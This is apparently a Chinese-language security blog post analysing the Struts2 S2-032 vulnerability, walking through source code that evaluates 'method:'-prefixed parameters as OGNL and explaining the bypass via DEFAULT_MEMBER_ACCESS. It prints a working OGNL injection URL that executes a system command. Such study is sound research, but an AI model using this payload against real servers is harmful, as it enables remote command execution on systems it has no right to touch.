struts2系列漏洞 S2-032

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

2.3.28 版本的 struts2 + Tomcat 9。

修改 struts.xml,打开动态方法调用:

1
<constant name="struts.enable.DynamicMethodInvocation" value="true" />

漏洞分析

根据官方通告,可以看出漏洞原因是在动态方法调用开启的情况下,会将 method: 前缀的参数作为表达式来执行,我们先看看 method: 前缀参数的 put 方法:

1
2
3
4
5
6
7
put(METHOD_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (allowDynamicMethodCalls) {
mapping.setMethod(key.substring(METHOD_PREFIX.length()));
}
}
});

在 DynamicMethodInvocation 开启的情况下,会不经过滤将 method: 前缀参数放入 mapping 中。在 Dispatcher 类的 serviceAction 函数用其创建代理之后,会执行到 DefaultActionInvocation 类的 invokeAction 函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
String methodName = proxy.getMethod();

if (LOG.isDebugEnabled()) {
LOG.debug("Executing action method = #0", methodName);
}

String timerKey = "invokeAction: " + proxy.getActionName();
try {
UtilTimerStack.push(timerKey);

Object methodResult;
try {
methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
}
...
}
...
}

将参数值作为表达式解析。

漏洞利用

因为 2.3.20 版本的修复中禁止了 new 和反射,所以通过修改用于安全检测的 _memberAccess 属性,将之变为实现了 memberAccess 接口的另一个类 DefaultMemberAccess,它的 isAccessible 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public boolean isAccessible(Map context, Object target, Member member, String propertyName)
{
int modifiers = member.getModifiers();
boolean result = Modifier.isPublic(modifiers);

if (!result) {
if (Modifier.isPrivate(modifiers)) {
result = getAllowPrivateAccess();
} else {
if (Modifier.isProtected(modifiers)) {
result = getAllowProtectedAccess();
} else {
result = getAllowPackageProtectedAccess();
}
}
}
return result;
}

可以看到,对 public 函数调用没有任何限制,而 OgnlContext 中恰好有这么一个静态属性:

1
public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);

payload 如下:

1
http://localhost:8080/login.action?method:(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.c%5b0%5d)).toString&c=calc

漏洞修复

给 method: 前缀的参数值加上了前面 actionName 的过滤。


参考文章:

https://www.cnblogs.com/mrchang/p/6501428.html


struts2系列漏洞 S2-032
http://yoursite.com/2020/07/28/struts2系列漏洞-S2-032/
作者
Aluvion
发布于
2020年7月28日
许可协议